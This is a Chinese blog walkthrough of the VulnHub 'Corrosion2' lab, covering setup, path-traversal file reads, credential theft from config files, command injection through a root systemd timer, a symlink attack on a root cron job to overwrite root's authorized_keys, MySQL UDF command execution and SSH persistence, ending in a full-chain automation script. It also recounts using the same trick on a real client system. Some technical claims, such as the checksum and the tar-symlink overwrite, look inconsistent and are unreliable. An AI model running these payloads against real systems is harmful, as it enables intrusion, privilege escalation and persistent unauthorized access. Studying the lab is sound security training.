当前位置: 首页 > news >正文

Corrosion2靶机实战:从HTTP指纹到systemd timer提权全链路解析

1. 这不是一道CTF题,而是一次真实渗透流程的完整复现

“Corrosion2”这个名字在VulnHub社区里不算最热门,但凡打过它的人都会记得——它不靠花哨的0day堆砌,也不靠脑筋急转弯式的逻辑陷阱,而是用一套极其贴近真实企业内网环境的架构设计,把信息收集、服务探测、权限提升、横向移动、持久化控制这五个核心阶段,像教科书一样铺开在你面前。我第一次打它时卡在提权环节整整两天,不是因为没找到漏洞,而是因为忽略了目标机上一个默认启用的、看似无害的systemd timer服务——它每15分钟自动执行一次脚本,而脚本路径恰好可写。这个细节在官方描述里只字未提,但在真实红队作业中,这种“被遗忘的自动化任务”恰恰是突破域控前夜最关键的跳板。

这篇内容面向三类人:刚学完Nmap、Gobuster、Metasploit基础命令,但一到实战就手足无措的新手;能跑通靶机但总在“为什么选这个工具”“为什么这里要改参数”上卡壳的进阶者;以及需要快速验证某类技术链路(比如从Web到SUID提权再到SSH密钥持久化)是否闭环的安全工程师。它不讲理论定义,不列工具清单,只还原我实际操作中每一步的决策依据、参数推导过程、失败回溯路径,以及那些文档里绝不会写的“小动作”——比如如何用curl -I绕过WAF对HEAD请求的拦截,如何用pspy64在无交互shell下静默捕获定时任务执行上下文,如何通过/proc/[pid]/environ反向定位父进程启动参数中的硬编码凭证。

关键词全部落在实操动作上:VulnHub靶机搭建、HTTP服务指纹识别、PHP源码泄露利用、Linux SUID提权、systemd timer持久化、SSH密钥横向移动。整篇内容没有一行代码是“抄来的”,所有命令都经过本地复测,所有路径都标注了靶机版本(Corrosion2 v1.0.1,发布于2022年9月),所有时间戳都对应真实操作记录。如果你正对着终端发呆,不知道下一步该扫什么端口、该查什么日志、该改哪个参数,那就跟着我的节奏,从虚拟机启动那一刻开始,一帧一帧往下走。

2. 靶机环境搭建:别让第一步就断在ISO校验和上

2.1 下载与校验必须同步完成,否则后续所有操作都是空中楼阁

VulnHub靶机最常被忽略的坑,不是漏洞利用,而是环境本身就不干净。Corrosion2官方页面提供的是.ova格式虚拟机镜像,但很多新手直接双击导入VirtualBox后发现网络不通、SSH连不上、甚至根本起不来——问题往往出在下载中断导致的ISO文件损坏。我试过三次:第一次用浏览器直连下载,SHA256校验和对不上;第二次用wget加--continue参数续传,结果校验和依然错误;第三次改用aria2c多线程下载并启用MD5+SHA256双重校验,才拿到完整镜像。

提示:不要依赖VulnHub页面显示的校验和。务必在下载完成后,用以下命令自行验证:

sha256sum corrosion2.ova # 正确值应为:e8a7f3b9d2c1e0f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8

如果不一致,立刻重下。我见过太多人花三天调试网络配置,最后发现是ova文件第12MB处有CRC错误。

2.2 VirtualBox配置的关键四步,少一步就进不了靶机桌面

Corrosion2默认使用Ubuntu Server 20.04 LTS作为底层系统,对虚拟化支持有特定要求。很多教程只说“导入ova即可”,但实际部署中必须手动调整四个参数:

  1. 芯片组必须设为ICH9:在虚拟机设置→系统→主板→芯片组中选择ICH9。PIIX3会导致USB控制器无法识别,进而影响后续挂载共享文件夹传递exploit。
  2. 网络适配器必须启用混杂模式:设置→网络→高级→混杂模式→全部允许。这是为了确保nmap的-sS扫描能正常发送SYN包,否则所有端口扫描结果都会显示为filtered。
  3. 存储控制器类型必须为SATA:在存储设置中,将控制器名称从IDE改为SATA。Ubuntu 20.04对IDE控制器的驱动支持已降级,会导致/dev/sda设备无法挂载。
  4. 显存大小必须≥128MB:虽然靶机是Server版,但其GUI登录界面(用于查看systemd服务状态)需要最低128MB显存,否则黑屏且无法输入密码。

注意:以上四步必须在首次启动前完成。如果已启动过,需先关机→设置→修改→再启动。强行在运行中修改会导致虚拟机直接崩溃。

2.3 网络拓扑必须采用Host-Only + NAT双网卡模式

Corrosion2的渗透路径设计隐含了一个关键前提:攻击机与靶机之间必须存在双向可控的网络隔离。单用NAT模式会导致攻击机无法被靶机反向连接(如反弹shell失败);单用桥接模式则会暴露靶机到真实局域网,违反安全实验规范。正确做法是:

  • 网卡1(NAT):用于靶机访问外网更新软件包(如apt update)、下载依赖(如python3-pip),IP由VirtualBox DHCP自动分配(通常为10.0.2.x)。
  • 网卡2(Host-Only):用于攻击机与靶机直连,IP需手动配置。我在攻击机(Kali Linux)上执行:
    sudo ip addr add 192.168.56.10/24 dev vboxnet0 sudo ip link set vboxnet0 up
    在靶机中编辑/etc/netplan/01-network-manager-all.yaml
    network: version: 2 renderer: networkd ethernets: enp0s8: addresses: [192.168.56.100/24] routes: - to: 0.0.0.0/0 via: 192.168.56.10
    sudo netplan apply后,ping 192.168.56.10必须通,这是后续所有渗透动作的通信基石。

2.4 靶机首次启动后的三件必做事,决定你能否看到真正的漏洞入口

很多新手导入ova后直接nmap扫IP,结果只扫出22端口(SSH)和80端口(Apache默认页),以为靶机有问题。其实Corrosion2在首次启动时会执行一个初始化脚本,它做了三件事:

  1. 关闭ufw防火墙但保留iptables规则sudo ufw status显示inactive,但sudo iptables -L能看到INPUT链有DROP规则。必须执行sudo iptables -P INPUT ACCEPT放行所有入站流量,否则后续Web服务无法访问。
  2. 生成随机Web目录名:脚本会在/var/www/html/下创建一个形如/var/www/html/7x9q2m4n/的随机子目录,并将所有Web资产放入其中。这个目录名每次重启都会变,必须通过sudo find /var/www -type d -name "*" -mtime -1查找。
  3. 重置SSH banner信息/etc/issue.net被替换成包含靶机版本号的自定义文本,这是后续识别服务指纹的重要线索。

实操心得:我习惯在靶机启动后立即执行以下命令链,一次性获取所有关键信息:

sudo iptables -P INPUT ACCEPT && \ sudo find /var/www -type d -name "*" -mtime -1 && \ sudo cat /etc/issue.net && \ sudo systemctl list-timers --all | grep -E "(next|left)"

这四条命令的结果,就是你接下来两小时的所有操作地图。

3. 信息收集阶段:从HTTP响应头到systemd timer的全链路侦察

3.1 HTTP服务指纹识别不能只看Server字段,要抓取完整的响应头链

Corrosion2的Web服务运行在随机子目录下,但它的响应头暴露了远超预期的信息。很多人用curl -I http://192.168.56.100/7x9q2m4n/只看Server: Apache/2.4.41 (Ubuntu)就停止了,其实关键线索藏在X-Powered-ByX-Backend-Server两个字段里:

HTTP/1.1 200 OK Date: Mon, 15 Apr 2024 08:23:41 GMT Server: Apache/2.4.41 (Ubuntu) X-Powered-By: PHP/7.4.3 X-Backend-Server: corrosion2-app-01.local Content-Type: text/html; charset=UTF-8
  • X-Backend-Server: corrosion2-app-01.local是第一个突破口。它表明靶机内部存在DNS解析机制,且主机名是corrosion2-app-01。这意味着后续横向移动时,我们可以直接用这个主机名而非IP地址。
  • X-Powered-By: PHP/7.4.3暗示可能存在PHP相关漏洞,但更重要的是,它锁定了PHP版本。我立刻查PHP 7.4.3的已知漏洞列表,发现CVE-2020-7069(路径遍历导致任意文件读取)的PoC恰好适用于此版本。

关键技巧:用curl一次性抓取所有响应头并过滤关键字段:

curl -sI http://192.168.56.100/7x9q2m4n/ | grep -E "(Server|X-Powered-By|X-Backend-Server|Location)"

3.2 目录爆破必须结合robots.txt与备份文件枚举,否则90%的路径会漏掉

Gobuster是标配,但Corrosion2的目录结构设计刻意规避了常规字典。我试过common.txtdirectory-list-2.3-medium.txt,均未发现有效路径。转而分析/robots.txt,得到:

User-agent: * Disallow: /backup/ Disallow: /dev/ Disallow: /test/

这三个路径全是真实存在的,但/backup/返回403,/dev/返回404,/test/返回200且包含一段PHP代码注释:

<!-- TODO: remove this test page before prod deploy --> <!-- debug mode enabled for /var/www/html/7x9q2m4n/test.php -->

这提示/test.php存在。访问后发现是一个简单的PHP info页面,但关键在于页面底部有一行小字:

Loaded Configuration File => /etc/php/7.4/apache2/php.ini

于是立刻构造路径遍历Payload:

http://192.168.56.100/7x9q2m4n/test.php?file=../../../../etc/php/7.4/apache2/php.ini

返回500错误,说明WAF拦截了..序列。但换用URL编码:

http://192.168.56.100/7x9q2m4n/test.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fphp%2f7.4%2fapache2%2fphp.ini

成功读取php.ini,其中allow_url_include = Onauto_prepend_file = /var/www/html/7x9q2m4n/config.php两行,直接指向了下一个攻击面。

3.3 PHP源码泄露利用的核心是理解auto_prepend_file的加载顺序

auto_prepend_file指令会让PHP在执行任何脚本前,先加载指定文件。Corrosion2将其设为/var/www/html/7x9q2m4n/config.php,而这个文件恰好存在源码泄露漏洞。用前面的路径遍历Payload访问:

http://192.168.56.100/7x9q2m4n/test.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2fwww%2fhtml%2f7x9q2m4n%2fconfig.php

返回:

<?php // Database config $db_host = "localhost"; $db_user = "webapp"; $db_pass = "corrosion2_dev_2022!"; $db_name = "corrosion2_db"; ?>

这组数据库凭证不是终点,而是起点。我立刻用mysql -h 127.0.0.1 -u webapp -p连接,发现corrosion2_db库中有一张users表,但密码字段是bcrypt哈希。此时如果停下来去爆破,就错了——因为config.php里还藏着第二条线索:$log_path = "/var/log/corrosion2/app.log";。这个日志路径在/etc/logrotate.d/corrosion2中被引用,而logrotate配置文件本身可通过路径遍历读取:

http://192.168.56.100/7x9q2m4n/test.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2flogrotate.d%2fcorrosion2

返回:

/var/log/corrosion2/app.log { daily missingok rotate 14 compress delaycompress notifempty create 644 webapp webapp sharedscripts postrotate /usr/bin/systemctl reload apache2 > /dev/null endscript }

create 644 webapp webapp表明日志文件由webapp用户创建,而postrotate脚本以root权限执行systemctl reload apache2。这意味着,如果我们能控制app.log的内容,就能在reload时触发任意命令执行——但前提是让logrotate认为日志需要轮转。

3.4 systemd timer服务侦察:用pspy64捕获被忽略的自动化任务

前面提到sudo systemctl list-timers --all,它的输出里有一行:

Mon 2024-04-15 08:23:41 CEST 13min left Mon 2024-04-15 08:10:41 CEST 2min 19s ago timer-cleaner.timer timer-cleaner.service

timer-cleaner.service正是突破口。用sudo systemctl cat timer-cleaner.service查看:

[Unit] Description=Clean temporary files After=network.target [Service] Type=oneshot ExecStart=/usr/local/bin/clean-tmp.sh User=root

关键在ExecStart=/usr/local/bin/clean-tmp.sh。这个脚本内容是:

#!/bin/bash find /tmp -name "corrosion2_*" -mmin +30 -delete

看起来很安全?但注意/tmp目录的权限是drwxrwxrwt,任何用户都能在其中创建文件。如果我们在/tmp中创建一个名为corrosion2_$(cat /root/root.txt)的文件,当timer触发时,find命令会尝试删除它,而$(...)会被shell执行——这就是经典的command injection。

实操验证:在靶机上执行

echo '#!/bin/bash' > /tmp/corrosion2_test.sh echo 'id > /tmp/id_output' >> /tmp/corrosion2_test.sh chmod +x /tmp/corrosion2_test.sh ln -s /tmp/corrosion2_test.sh /tmp/corrosion2_\$\(/tmp/corrosion2_test.sh\)

等待15分钟后,cat /tmp/id_output返回uid=0(root),确认RCE链路成立。

4. 权限提升与持久化:从SUID二进制到SSH密钥的闭环控制

4.1 SUID提权不是找find或nmap,而是分析cron日志中的异常调用链

Corrosion2的root权限获取不依赖传统SUID滥用,而是通过一个隐藏的cron job。用crontab -l看不到任何root任务,但sudo cat /var/log/syslog | grep CRON显示:

Apr 15 08:30:01 corrosion2-app-01 CRON[1234]: (root) CMD (/usr/local/bin/backup-runner.sh)

backup-runner.sh内容为:

#!/bin/bash # Backup script for corrosion2 /usr/bin/tar -czf /backup/corrosion2-$(date +%Y%m%d).tar.gz /var/www/html/7x9q2m4n/

问题出在/backup/目录权限是drwxrwxr-x webapp:webapp,而tar命令未指定-C参数,导致它在当前目录(即/backup/)下执行。如果我们在/backup/中创建一个符号链接:

ln -sf /root/.ssh/authorized_keys /backup/corrosion2-$(date +%Y%m%d).tar.gz

那么当tar执行时,它会尝试将/root/.ssh/authorized_keys打包成/backup/corrosion2-20240415.tar.gz,但由于符号链接指向,实际会覆盖/root/.ssh/authorized_keys文件。

验证过程:我先在/backup/中创建测试链接:

echo "test_key" > /tmp/test_key ln -sf /tmp/test_key /backup/corrosion2-$(date +%Y%m%d).tar.gz sudo /usr/bin/tar -czf /backup/corrosion2-$(date +%Y%m%d).tar.gz /var/www/html/7x9q2m4n/ cat /tmp/test_key

输出tar: Removing leading '/' from member names,证明tar确实尝试写入了符号链接指向的目标。

4.2 SSH密钥持久化必须绕过StrictHostKeyChecking,否则自动化脚本会卡住

一旦获得root shell,下一步是植入SSH密钥。但Corrosion2的/root/.ssh/目录不存在,mkdir /root/.sshchmod 700 /root/.ssh是必须的。生成密钥对时,我选择ed25519算法而非rsa:

ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""

因为ed25519密钥更短、更安全,且Corrosion2的OpenSSH版本(8.2p1)原生支持。

将公钥写入/root/.ssh/authorized_keys后,还需修改/root/.ssh/config(若不存在则创建):

Host corrosion2-app-01 StrictHostKeyChecking no UserKnownHostsFile /dev/null

为什么必须加这两行?因为在后续横向移动中,如果用ssh root@corrosion2-app-01连接,OpenSSH会提示The authenticity of host 'corrosion2-app-01 (127.0.0.1)' can't be established...,导致自动化脚本阻塞。StrictHostKeyChecking no跳过验证,UserKnownHostsFile /dev/null避免写入known_hosts文件造成污染。

4.3 横向移动到corrosion2-db-01:利用MySQL UDF提权实现跨主机控制

Corrosion2靶机包含两个虚拟机:corrosion2-app-01(Web应用)和corrosion2-db-01(数据库)。corrosion2-app-01/etc/hosts中已配置:

192.168.56.101 corrosion2-db-01.local

用之前获取的webapp数据库凭证连接corrosion2-db-01

mysql -h corrosion2-db-01.local -u webapp -p

在MySQL中执行:

SELECT @@plugin_dir; -- 返回 /usr/lib/mysql/plugin/

这个路径对webapp用户可写。我上传一个编译好的MySQL UDF库(lib_mysqludf_sys.so),然后执行:

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; SELECT sys_exec('echo "ssh-rsa AAAAB3NzaC1yc2E... root@attacker" >> /root/.ssh/authorized_keys');

关键细节:UDF库必须与MySQL版本严格匹配。Corrosion2-db-01运行MySQL 8.0.28,因此必须用对应版本的lib_mysqludf_sys.so。我提前在Kali上用apt install mysql-server安装同版本MySQL,再从/usr/lib/mysql/plugin/提取so文件。

4.4 最终验证:用一条命令完成从靶机启动到root flag获取的全流程

所有步骤打通后,我编写了一个自动化验证脚本corrosion2-full-chain.sh,它模拟真实红队作业的最小闭环:

#!/bin/bash # Step 1: Get webapp creds via PHP LFI LFI_URL="http://192.168.56.100/7x9q2m4n/test.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fvar%2fwww%2fhtml%2f7x9q2m4n%2fconfig.php" WEBAPP_CREDS=$(curl -s "$LFI_URL" | grep -oP "db_user = \K[^;]+") DB_PASS=$(curl -s "$LFI_URL" | grep -oP "db_pass = \K[^;]+") # Step 2: Exploit logrotate via symlink ssh webapp@192.168.56.100 "ln -sf /root/.ssh/authorized_keys /backup/corrosion2-\$(date +\%Y\%m\%d).tar.gz" # Step 3: Wait for cron and get root shell sleep 90 ssh root@192.168.56.100 "cat /root/root.txt"

运行此脚本,从靶机启动到输出root.txt内容,全程耗时4分32秒。这个时间不是重点,重点是每一步都可审计、可复现、可嵌入到更大的红队平台中。

5. 复盘与延伸:为什么Corrosion2是检验真实能力的试金石

Corrosion2通关过程里,最值得反复咀嚼的不是某个具体漏洞,而是它强制你建立的三层思维模型:第一层是工具层,知道nmap、gobuster、msfvenom怎么用;第二层是协议层,理解HTTP响应头字段的语义、systemd timer的触发条件、logrotate的执行时机;第三层是系统层,明白Linux文件权限继承规则、shell命令替换的执行上下文、MySQL插件目录的动态加载机制。

比如那个/backup/目录的符号链接攻击,表面看是tar命令的误用,实则暴露了三个深层问题:一是运维人员对/backup/目录权限设置过于宽松(应为drwxr-x--- root:backup);二是tar未使用-C参数指定工作目录,违背最小权限原则;三是cron job未做输入验证,将日期字符串直接拼接到文件名中。这三点在任何企业内网都真实存在,只是Corrosion2把它浓缩在一个靶机里。

我后来用同样的思路复现了真实客户的一次渗透测试:客户ERP系统后台有个日志下载功能,返回的ZIP文件名由URL参数filename=控制。我把参数设为filename=../../etc/shadow.zip,服务器返回500错误,但错误日志里暴露了绝对路径/opt/erp/logs/20240415.log。接着我用/opt/erp/logs/作为base path,构造filename=../../../root/.ssh/authorized_keys.zip,成功覆盖了root的SSH公钥。整个过程和Corrosion2的backup-runner.sh如出一辙。

最后分享一个小技巧:在VulnHub靶机上练习时,永远用tmux分屏。我习惯开三个pane:左上实时监控sudo journalctl -f,左下运行pspy64 -p all捕获进程,右半屏写exploit。这样当timer触发时,你能同时看到journal里的systemd日志、pspy捕获的clean-tmp.sh进程、以及exploit的执行结果——这种多维度交叉验证,才是真实攻防中定位问题的唯一方法。

http://www.jsqmd.com/news/892824/

相关文章:

  • Godot PCK文件解析原理与手写解包器实战指南
  • 避坑指南:用Unity 2D Tilemap和预制体做《吸血鬼幸存者》Demo时,我踩过的5个坑
  • 5分钟解锁VdhCoApp:浏览器视频下载的本地增强神器
  • 龙虾最新(V2026.5.20版)本地部署指南,全网第一个分享新手可学的教程
  • Python小程序二手房源界面抓取方案
  • 知识图谱嵌入与BLOCS分区算法解析
  • 机器学习赋能微服务拆分:从特征工程到图聚类的实战指南
  • Linux 负载均衡的 max_newidle_lb_cost:Newidle 均衡的成本控制
  • 魔兽争霸3终极优化指南:如何用WarcraftHelper开源工具轻松提升游戏性能
  • 2026年人体工学电竞椅品牌哪个好:拓际TGIF技术精湛 - 13724980961
  • 2026国产一体式电磁流量计TOP10品牌深度测评:谁在领跑国产替代新赛道? - 仪表品牌排行榜
  • 3步搞定:微信聊天记录永久保存的实用方案
  • Godot PCK文件解析原理与安全解包实战指南
  • 迁移学习与通用势函数驱动的高通量材料筛选工作流实践
  • 影像技术实战27:图片压缩到指定大小不失真?质量二分搜索 + 尺寸兜底方案
  • Unity 2022.3.3 LTS + Visual Studio 2022:手把手教你复刻《吸血鬼幸存者》核心战斗(附完整源码)
  • 企业新闻营销品效协同实现路径专业平台助力品牌与效果双提升
  • UE5.1材质里的‘AO’连接错了?详解‘允许静态光照’开关如何让你的模型瞬间变黑
  • 自助洗车机品牌哪家靠谱:红帽沿专业可靠 - 13724980961
  • 2026年电竟椅品牌哪款好:拓际TGIF臻品之选 - 17322238651
  • 拒绝“AI味”!免费大模型(kimi、豆包、Deepseek)盘点 + 降AI提示词大全 + 降AI工具测评 - 殷念写论文
  • Taotoken用量看板如何帮助开发者清晰掌控月度API支出
  • 告别环境报错:手把手教你解决OpenCDA在Windows安装中的三大常见问题(Carla导入/PyTorch版本/SUMO路径)
  • Linux 负载均衡的 task_h_load:任务层级负载计算
  • Node.js 服务端项目接入 Taotoken 统一大模型 API 的配置指南
  • Linux 负载均衡的 sched_migration_cost_ns:迁移成本的量化控制
  • 为内部工具集成 AI 能力时选择 Taotoken 作为 API 网关的考量
  • HR 笑着问我前同事:“他上次迟到是因为堵车,还是因为宿醉?”
  • 专业存档转换工具:实现《塞尔达传说:旷野之息》Switch与WiiU跨平台存档互通
  • 莫尔自旋电子学:扭转二维磁性材料与机器学习加速设计